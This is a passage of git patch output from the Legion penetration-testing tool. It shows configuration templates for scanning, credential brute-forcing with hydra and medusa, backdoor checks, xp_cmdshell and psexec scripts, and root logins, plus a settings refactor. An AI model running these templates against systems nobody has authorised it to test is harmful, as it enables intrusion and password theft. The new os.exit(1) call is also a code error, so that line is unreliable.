--script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" +x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP], X11 + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], ftp +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], shell +ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp + +[SchedulerSettings] +citrix-enum-apps-xml.nse=citrix, tcp +citrix-enum-apps.nse=citrix, tcp +citrix-enum-servers-xml.nse=citrix, tcp +citrix-enum-servers.nse=citrix, tcp +ftp-anon.nse=ftp, tcp +ftp-default=ftp, tcp +ftp-proftpd-backdoor.nse=ftp, tcp +ftp-vsftpd-backdoor.nse=ftp, tcp +ftp-vuln-cve2010-4221.nse=ftp, tcp +http-vuln-cve2009-3960.nse=http, tcp +http-vuln-cve2010-0738.nse=http, tcp +http-vuln-cve2010-2861.nse=http, tcp +http-vuln-cve2011-3192.nse=http, tcp +http-vuln-cve2011-3368.nse=http, tcp +http-vuln-cve2012-1823.nse=http, tcp +http-vuln-cve2013-0156.nse=http, tcp +http-wordpress-enum.nse=http, tcp +http-wordpress-plugins.nse=http, tcp +imap-capabilities.nse=imap, tcp +irc-botnet-channels.nse=irc, tcp +irc-info.nse=irc, tcp +irc-unrealircd-backdoor.nse=irc, tcp +ms-sql-config.nse=ms-sql, tcp +ms-sql-dac.nse=ms-sql, tcp +ms-sql-dump-hashes.nse=ms-sql, tcp +ms-sql-empty-password.nse=ms-sql, tcp +ms-sql-hasdbaccess.nse=ms-sql, tcp +ms-sql-info.nse=ms-sql, tcp +ms-sql-query.nse=ms-sql, tcp +ms-sql-tables.nse=ms-sql, tcp +ms-sql-xp-cmdshell.nse=ms-sql, tcp +msrpc-enum.nse=msrpc, tcp +mssql-default=ms-sql-s, tcp +mysql-audit.nse=mysql, tcp +mysql-databases.nse=mysql, tcp +mysql-default=mysql, tcp +mysql-dump-hashes.nse=mysql, tcp +mysql-empty-password.nse=mysql, tcp +mysql-enum.nse=mysql, tcp +mysql-info.nse=mysql, tcp +mysql-query.nse=mysql, tcp +mysql-users.nse=mysql, tcp +mysql-variables.nse=mysql, tcp +mysql-vuln-cve2012-2122.nse=mysql, tcp +nfs-ls.nse=nfs, tcp +nfs-showmount.nse=nfs, tcp +nfs-statfs.nse=nfs, tcp +nikto="http,https,ssl,soap,http-proxy,http-alt", tcp +oracle-default=oracle-tns, tcp +oracle-enum-users.nse=oracle, tcp +oracle-sid-brute.nse=oracle, tcp +pop3-capabilities.nse=pop3, tcp +postgres-default=postgresql, tcp +realvnc-auth-bypass.nse=vnc, tcp +samba-vuln-cve-2012-1182.nse=samba, tcp +screenshooter="http,https,ssl,http-proxy,http-alt", tcp +smb-check-vulns.nse=smb, tcp +smb-enum-domains.nse=smb, tcp +smb-enum-groups.nse=smb, tcp +smb-enum-processes.nse=smb, tcp +smb-enum-sessions.nse=smb, tcp +smb-enum-shares.nse=smb, tcp +smb-enum-users.nse=smb, tcp +smb-ls.nse=smb, tcp +smb-mbenum.nse=smb, tcp +smb-psexec.nse=smb, tcp +smb-vuln-ms10-054.nse=smb, tcp +smb-vuln-ms10-061.nse=smb, tcp +smbenum=microsoft-ds, tcp +smtp-commands.nse=smtp, tcp +smtp-enum-users.nse=smtp, tcp +smtp-enum-vrfy=smtp, tcp +smtp-open-relay.nse=smtp, tcp +smtp-strangeport.nse=smtp, tcp +smtp-vuln-cve2010-4344.nse=smtp, tcp +smtp-vuln-cve2011-1720.nse=smtp, tcp +smtp-vuln-cve2011-1764.nse=smtp, tcp +snmp-default=snmp, udp +snmp-hh3c-logins.nse=snmp, tcp +snmp-interfaces.nse=snmp, tcp +snmp-ios-config.nse=snmp, tcp +snmp-netstat.nse=snmp, tcp +snmp-processes.nse=snmp, tcp +snmp-sysdescr.nse=snmp, tcp +snmp-win32-services.nse=snmp, tcp +snmp-win32-shares.nse=snmp, tcp +snmp-win32-software.nse=snmp, tcp +snmp-win32-users.nse=snmp, tcp +snmpcheck=snmp, udp +tftp-enum.nse=tftp, udp +vnc-info.nse=vnc, tcp +x11screen=X11, tcp + +[StagedNmapSettings] +stage1-ports="T:80,443" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage5-ports=T:30000-65535 diff --git a/ui/gui.py b/ui/gui.py index 79264c55..1da776a7 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -254,8 +254,7 @@ def setupMainTabs(self): self.BruteTabWidget = QtWidgets.QTabWidget(self.BruteTab) self.BruteTabWidget.setObjectName(_fromUtf8("BruteTabWidget")) self.horizontalLayout_7.addWidget(self.BruteTabWidget) - # Brute tab disabled for now - # self.MainTabWidget.addTab(self.BruteTab, _fromUtf8("")) + self.MainTabWidget.addTab(self.BruteTab, _fromUtf8("")) def setupBottomPanel(self): self.BottomTabWidget = QtWidgets.QTabWidget(self.splitter_2) From f3546322e34f0448348fd3c8c712e2d793d15793 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 25 Feb 2019 14:54:07 -0600 Subject: [PATCH 139/450] Fixed save of tools section and save of stage5. Removed create config mess. --- app/settings.py | 204 ++---------------- controller/controller.py | 2 +- legion.conf | 10 +- test-tool-output/legion-passwords.txt | 0 test-tool-output/legion-usernames.txt | 0 .../20190225144728222518-nmapstage1.gnmap | 4 + .../nmap/20190225144728222518-nmapstage1.nmap | 10 + .../nmap/20190225144728222518-nmapstage1.xml | 22 ++ .../20190225144752367705-nmapstage2.gnmap | 4 + .../nmap/20190225144752367705-nmapstage2.nmap | 43 ++++ .../nmap/20190225144752367705-nmapstage2.xml | 74 +++++++ .../20190225144857577797-nmapstage3.gnmap | 4 + .../nmap/20190225144857577797-nmapstage3.nmap | 17 ++ .../nmap/20190225144857577797-nmapstage3.xml | 29 +++ .../20190225144912494057-nmapstage4.gnmap | 4 + .../nmap/20190225144912494057-nmapstage4.nmap | 20 ++ .../nmap/20190225144912494057-nmapstage4.xml | 33 +++ .../20190225144927730202-nmapstage5.gnmap | 4 + .../nmap/20190225144927730202-nmapstage5.nmap | 7 + .../nmap/20190225144927730202-nmapstage5.xml | 22 ++ test.legion | Bin 0 -> 20480 bytes 21 files changed, 318 insertions(+), 195 deletions(-) create mode 100644 test-tool-output/legion-passwords.txt create mode 100644 test-tool-output/legion-usernames.txt create mode 100644 test-tool-output/nmap/20190225144728222518-nmapstage1.gnmap create mode 100644 test-tool-output/nmap/20190225144728222518-nmapstage1.nmap create mode 100644 test-tool-output/nmap/20190225144728222518-nmapstage1.xml create mode 100644 test-tool-output/nmap/20190225144752367705-nmapstage2.gnmap create mode 100644 test-tool-output/nmap/20190225144752367705-nmapstage2.nmap create mode 100644 test-tool-output/nmap/20190225144752367705-nmapstage2.xml create mode 100644 test-tool-output/nmap/20190225144857577797-nmapstage3.gnmap create mode 100644 test-tool-output/nmap/20190225144857577797-nmapstage3.nmap create mode 100644 test-tool-output/nmap/20190225144857577797-nmapstage3.xml create mode 100644 test-tool-output/nmap/20190225144912494057-nmapstage4.gnmap create mode 100644 test-tool-output/nmap/20190225144912494057-nmapstage4.nmap create mode 100644 test-tool-output/nmap/20190225144912494057-nmapstage4.xml create mode 100644 test-tool-output/nmap/20190225144927730202-nmapstage5.gnmap create mode 100644 test-tool-output/nmap/20190225144927730202-nmapstage5.nmap create mode 100644 test-tool-output/nmap/20190225144927730202-nmapstage5.xml create mode 100644 test.legion diff --git a/app/settings.py b/app/settings.py index f037bde3..494bf079 100644 --- a/app/settings.py +++ b/app/settings.py @@ -20,199 +20,12 @@ class AppSettings(): def __init__(self): # check if settings file exists and creates it if it doesn't if not os.path.exists('./legion.conf'): - log.info('Creating settings file..') - self.createDefaultSettings() - self.createDefaultBruteSettings() - self.createDefaultNmapSettings() - self.createDefaultToolSettings() - self.createDefaultGUISettings() - self.createDefaultHostActions() - self.createDefaultPortActions() - self.createDefaultPortTerminalActions() - self.createDefaultSchedulerSettings() + log.info('Legion config is missing. Please reclone.') + os.exit(1) else: log.info('Loading settings file..') self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) - # This function creates the default settings file. Note that, in general, everything is case sensitive. - # Each action should be in the following format: - # - # (key, [label, command, service]) - # key - must be unique within the group and is used to retrieve each action. is used to create the tab titles and also to recognise nmap commands so we can parse the output (case sensitive) - # label - is what appears in the context menu in the gui - # command - command that will be run. These placeholders will be replaced on-the-fly: [IP] [PORT] [OUTPUT] - # service - service(s) to which the tool applies (comma-separated). Leave empty if valid for all services. - def createDefaultSettings(self): - self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) - - self.actions.beginGroup('GeneralSettings') - self.actions.setValue('default-terminal','gnome-terminal') - self.actions.setValue('tool-output-black-background','False') - self.actions.setValue('screenshooter-timeout','15000') - self.actions.setValue('web-services','http,https,ssl,soap,http-proxy,http-alt,https-alt') - self.actions.setValue('enable-scheduler','True') - self.actions.setValue('enable-scheduler-on-import','False') - self.actions.setValue('max-fast-processes', '10') - self.actions.setValue('max-slow-processes', '10') - self.actions.endGroup() - self.actions.sync() - - def createDefaultBruteSettings(self): - self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) - self.actions.beginGroup('BruteSettings') - self.actions.setValue('store-cleartext-passwords-on-exit','True') - self.actions.setValue('username-wordlist-path','/usr/share/wordlists/') - self.actions.setValue('password-wordlist-path','/usr/share/wordlists/') - self.actions.setValue('default-username','root') - self.actions.setValue('default-password','password') - self.actions.setValue('services', "asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp") - self.actions.setValue('no-username-services', "cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc") - self.actions.setValue('no-password-services', "oracle-sid,rsh,smtp-enum") - self.actions.endGroup() - self.actions.sync() - - def createDefaultNmapSettings(self): - self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) - self.actions.beginGroup('StagedNmapSettings') - self.actions.setValue('stage1-ports','T:80,443') - self.actions.setValue('stage2-ports','T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434') - self.actions.setValue('stage3-ports','T:23,21,22,110,111,2049,3389,8080,U:500,5060') - self.actions.setValue('stage4-ports','T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999') - self.actions.setValue('stage5-ports','T:30000-65535') - self.actions.endGroup() - self.actions.sync() - - def createDefaultToolSettings(self): - self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) - self.actions.beginGroup('ToolSettings') - self.actions.setValue('nmap-path','/sbin/nmap') - self.actions.setValue('hydra-path','/usr/bin/hydra') - self.actions.setValue('cutycapt-path','/usr/bin/cutycapt') - self.actions.setValue('texteditor-path','/usr/bin/leafpad') - self.actions.endGroup() - self.actions.sync() - - def createDefaultGUISettings(self): - self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) - self.actions.beginGroup('GUISettings') - self.actions.setValue('process-tab-column-widths', ['125', '0', '100', '150', '100', '100', '100', '100', '100', '100', '100', '100', '100', '100', '100', '100', '100']) - self.actions.endGroup() - self.actions.sync() - - def createDefaultHostActions(self): - self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) - self.actions.beginGroup('HostActions') - self.actions.setValue("nmap-discover", ["Run nmap-discover", "nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\""]) - self.actions.setValue("nmap script - Vulners", ["Run nmap script - Vulners", "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\""]) - self.actions.setValue("nmap-fast-tcp", ["Run nmap (fast TCP)", "nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\""]) - self.actions.setValue("nmap-full-tcp", ["Run nmap (full TCP)", "nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\""]) - self.actions.setValue("nmap-fast-udp", ["Run nmap (fast UDP)", "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\""]) - self.actions.setValue("nmap-udp-1000", ["Run nmap (top 1000 quick UDP)", "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\""]) - self.actions.setValue("nmap-full-udp", ["Run nmap (full UDP)", "nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\""]) - self.actions.setValue("unicornscan-full-udp", ["Run unicornscan (full UDP)", "unicornscan -mU -Ir 1000 [IP]:a -v"]) - self.actions.endGroup() - self.actions.sync() - - def createDefaultPortActions(self): - self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) - self.actions.beginGroup('PortActions') - self.actions.setValue("banner", ["Grab banner", "bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\"", "telnet,ssh"]) - self.actions.setValue("nmap", ["Run nmap (scripts) on port", "nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT]", ""]) - self.actions.setValue("whatweb", ["Run whatweb", "whatweb [IP]:[PORT] --color=never --log-brief=\"[OUTPUT].txt\"", "http,https,ssl,soap,http-proxy,http-alt"]) - self.actions.setValue("nikto", ["Run nikto", "nikto -o \"[OUTPUT].txt\" -p [PORT] -h [IP]", "http,https,ssl,soap,http-proxy,http-alt"]) - self.actions.setValue("dirbuster", ["Launch dirbuster", "java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/", "http,https,ssl,soap,http-proxy,http-alt"]) - self.actions.setValue("webslayer", ["Launch webslayer", "webslayer", "http,https,ssl,soap,http-proxy,http-alt"]) - - ### SMB - self.actions.setValue("samrdump", ["Run samrdump", "python /usr/share/doc/python-impacket/examples/samrdump.py [IP] [PORT]/SMB", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("nbtscan", ["Run nbtscan", "nbtscan -v -h [IP]", "netbios-ns"]) - self.actions.setValue("smbenum", ["Run smbenum", "bash ./scripts/smbenum.sh [IP]", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("enum4linux", ["Run enum4linux", "enum4linux [IP]", "netbios-ssn, microsoft-ds"]) - self.actions.setValue("polenum", ["Extract password policy (polenum)", "polenum [IP]", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("smb-enum-users", ["Enumerate users (nmap)", "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("smb-enum-users-rpc", ["Enumerate users (rpcclient)", "bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\"", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("smb-enum-admins", ["Enumerate domain admins (net)", "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("smb-enum-groups", ["Enumerate groups (nmap)", "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("smb-enum-shares", ["Enumerate shares (nmap)", "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("smb-enum-sessions", ["Enumerate logged in users (nmap)", "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("smb-enum-policies", ["Extract password policy (nmap)", "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("smb-null-sessions", ["Check for null sessions (rpcclient)", "bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\"", "netbios-ssn,microsoft-ds"]) - ### - - self.actions.setValue("ldapsearch", ["Run ldapsearch", "ldapsearch -h [IP] -p [PORT] -x -s base", "ldap"]) - self.actions.setValue("snmpcheck", ["Run snmpcheck", "snmp-check -t [IP]", "snmp,snmptrap"]) ###Change from snmpcheck to snmp-check for Kali 2.0 - self.actions.setValue("rpcinfo", ["Run rpcinfo", "rpcinfo -p [IP]", "rpcbind"]) - self.actions.setValue("rdp-sec-check", ["Run rdp-sec-check.pl", "perl ./scripts/rdp-sec-check.pl [IP]:[PORT]", "ms-wbt-server"]) - self.actions.setValue("showmount", ["Show nfs shares", "showmount -e [IP]", "nfs"]) - self.actions.setValue("x11screen", ["Run x11screenshot", "bash ./scripts/x11screenshot.sh [IP]", "X11"]) - self.actions.setValue("sslscan", ["Run sslscan", "sslscan --no-failed [IP]:[PORT]", "https,ssl"]) - self.actions.setValue("sslyze", ["Run sslyze", "sslyze --regular [IP]:[PORT]", "https,ssl,ms-wbt-server,imap,pop3,smtp"]) - - self.actions.setValue("rwho", ["Run rwho", "rwho -a [IP]", "who"]) - self.actions.setValue("finger", ["Enumerate users (finger)", "./scripts/fingertool.sh [IP]", "finger"]) - - self.actions.setValue("smtp-enum-vrfy", ["Enumerate SMTP users (VRFY)", "smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT]", "smtp"]) - self.actions.setValue("smtp-enum-expn", ["Enumerate SMTP users (EXPN)", "smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT]", "smtp"]) - self.actions.setValue("smtp-enum-rcpt", ["Enumerate SMTP users (RCPT)", "smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT]", "smtp"]) - - self.actions.setValue("ftp-default", ["Check for default ftp credentials", "hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp", "ftp"]) - self.actions.setValue("mssql-default", ["Check for default mssql credentials", "hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql", "ms-sql-s"]) - self.actions.setValue("mysql-default", ["Check for default mysql credentials", "hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql", "mysql"]) - self.actions.setValue("oracle-default", ["Check for default oracle credentials", "hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener", "oracle-tns"]) - self.actions.setValue("postgres-default", ["Check for default postgres credentials", "hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres", "postgresql"]) - self.actions.setValue("snmp-default", ["Check for default community strings", "python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours", "snmp,snmptrap"]) - self.actions.setValue("snmp-brute", ["Bruteforce community strings (medusa)", "bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\"", "snmp,snmptrap"]) - self.actions.setValue("oracle-version", ["Get version", "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", "oracle-tns"]) - self.actions.setValue("oracle-sid", ["Oracle SID enumeration", "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", "oracle-tns"]) - self.actions.endGroup() - self.actions.sync() - - def createDefaultPortTerminalActions(self): - self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) - self.actions.beginGroup('PortTerminalActions') - self.actions.setValue("netcat", ["Open with netcat", "nc -v [IP] [PORT]", ""]) - self.actions.setValue("telnet", ["Open with telnet", "telnet [IP] [PORT]", ""]) - self.actions.setValue("ftp", ["Open with ftp client", "ftp [IP] [PORT]", "ftp"]) - self.actions.setValue("mysql", ["Open with mysql client (as root)", "mysql -u root -h [IP] --port=[PORT] -p", "mysql"]) - self.actions.setValue("mssql", ["Open with mssql client (as sa)", "python /usr/share/doc/python-impacket/examples/mssqlclient.py -p [PORT] sa@[IP]", "mys-sql-s,codasrv-se"]) - self.actions.setValue("ssh", ["Open with ssh client (as root)", "ssh root@[IP] -p [PORT]", "ssh"]) - self.actions.setValue("psql", ["Open with postgres client (as postgres)", "psql -h [IP] -p [PORT] -U postgres", "postgres"]) - self.actions.setValue("rdesktop", ["Open with rdesktop", "rdesktop [IP]:[PORT]", "ms-wbt-server"]) - self.actions.setValue("rpcclient", ["Open with rpcclient (NULL session)", "rpcclient [IP] -p [PORT] -U%", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("vncviewer", ["Open with vncviewer", "vncviewer [IP]:[PORT]", "vnc"]) - self.actions.setValue("xephyr", ["Open with Xephyr", "Xephyr -query [IP] :1", "xdmcp"]) - self.actions.setValue("rlogin", ["Open with rlogin", "rlogin -i root -p [PORT] [IP]", "login"]) - self.actions.setValue("rsh", ["Open with rsh", "rsh -l root [IP]", "shell"]) - - self.actions.endGroup() - self.actions.sync() - - def createDefaultSchedulerSettings(self): - self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) - self.actions.beginGroup('SchedulerSettings') - self.actions.setValue("whatweb", ["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) - self.actions.setValue("nikto", ["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) - self.actions.setValue("sslscan", ["https,ssl","tcp"]) - self.actions.setValue("screenshooter",["http,https,ssl,http-proxy,http-alt,https-alt","tcp"]) - self.actions.setValue("smbenum", ["microsoft-ds","tcp"]) - self.actions.setValue("enum4linux", "netbios-ssn,microsoft-ds") - self.actions.setValue("smb-null-sessions", "netbios-ssn,microsoft-ds") - self.actions.setValue("nbtscan", "netbios-ns") - self.actions.setValue("snmpcheck", ["snmp","udp"]) - self.actions.setValue("x11screen", ["X11","tcp"]) - self.actions.setValue("snmp-default", ["snmp","udp"]) - self.actions.setValue("smtp-enum-vrfy", ["smtp","tcp"]) - self.actions.setValue("mysql-default", ["mysql","tcp"]) - self.actions.setValue("mssql-default", ["ms-sql-s","tcp"]) - self.actions.setValue("ftp-default", ["ftp","tcp"]) - self.actions.setValue("postgres-default", ["postgresql","tcp"]) - self.actions.setValue("oracle-default", ["oracle-tns","tcp"]) - - self.actions.endGroup() - self.actions.sync() - - # NOTE: the weird order of elements in the functions below is due to historical reasons. Change this some day. - def getGeneralSettings(self): settings = dict() self.actions.beginGroup('GeneralSettings') @@ -315,13 +128,13 @@ def getSchedulerSettings_old(self): self.actions.endGroup() return settings - def backupAndSave(self, newSettings, saveBackup=True): + def backupAndSave(self, newSettings, saveBackup = True): # Backup and save if saveBackup: - log.info('Backing up old settings and saving new settings..') + log.info('Backing up old settings and saving new settings...') os.rename('./legion.conf', './backup/' + getTimestamp() + '-legion.conf') else: - log.info('saveBackup: {}'.format(saveBackup)) + log.info('Saving config...') self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) @@ -347,6 +160,13 @@ def backupAndSave(self, newSettings, saveBackup=True): self.actions.setValue('no-password-services', newSettings.brute_no_password_services) self.actions.endGroup() + self.actions.beginGroup('ToolSettings') + self.actions.setValue('nmap-path', newSettings.tools_path_nmap) + self.actions.setValue('hydra-path', newSettings.tools_path_hydra) + self.actions.setValue('cutycapt-path', newSettings.tools_path_cutycapt) + self.actions.setValue('texteditor-path', newSettings.tools_path_texteditor) + self.actions.endGroup() + self.actions.beginGroup('StagedNmapSettings') self.actions.setValue('stage1-ports', newSettings.tools_nmap_stage1_ports) self.actions.setValue('stage2-ports', newSettings.tools_nmap_stage2_ports) diff --git a/controller/controller.py b/controller/controller.py index 8ec8a41e..2cb4a4c7 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1551116248' + self.build = '1551128005' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] diff --git a/legion.conf b/legion.conf index 5684f2fd..61815870 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,100,150,100,100,134,100,100,100,100,100,0,100,0,100,100" +process-tab-column-widths="125,0,100,150,100,100,134,100,100,100,100,100,0,100,19,100,100" [GeneralSettings] default-terminal=gnome-terminal @@ -306,4 +306,10 @@ stage1-ports="T:80,443" stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage5-ports="T:30000-65535" +stage5-ports="T:30000-65534,65535" + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/usr/bin/nmap +texteditor-path=/usr/bin/leafpad diff --git a/test-tool-output/legion-passwords.txt b/test-tool-output/legion-passwords.txt new file mode 100644 index 00000000..e69de29b diff --git a/test-tool-output/legion-usernames.txt b/test-tool-output/legion-usernames.txt new file mode 100644 index 00000000..e69de29b diff --git a/test-tool-output/nmap/20190225144728222518-nmapstage1.gnmap b/test-tool-output/nmap/20190225144728222518-nmapstage1.gnmap new file mode 100644 index 00000000..9d473640 --- /dev/null +++ b/test-tool-output/nmap/20190225144728222518-nmapstage1.gnmap @@ -0,0 +1,4 @@ +# Nmap 7.70 scan initiated Mon Feb 25 14:47:29 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -sSU -p T:80,443 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144728222518-nmapstage1 127.0.0.1 +Host: 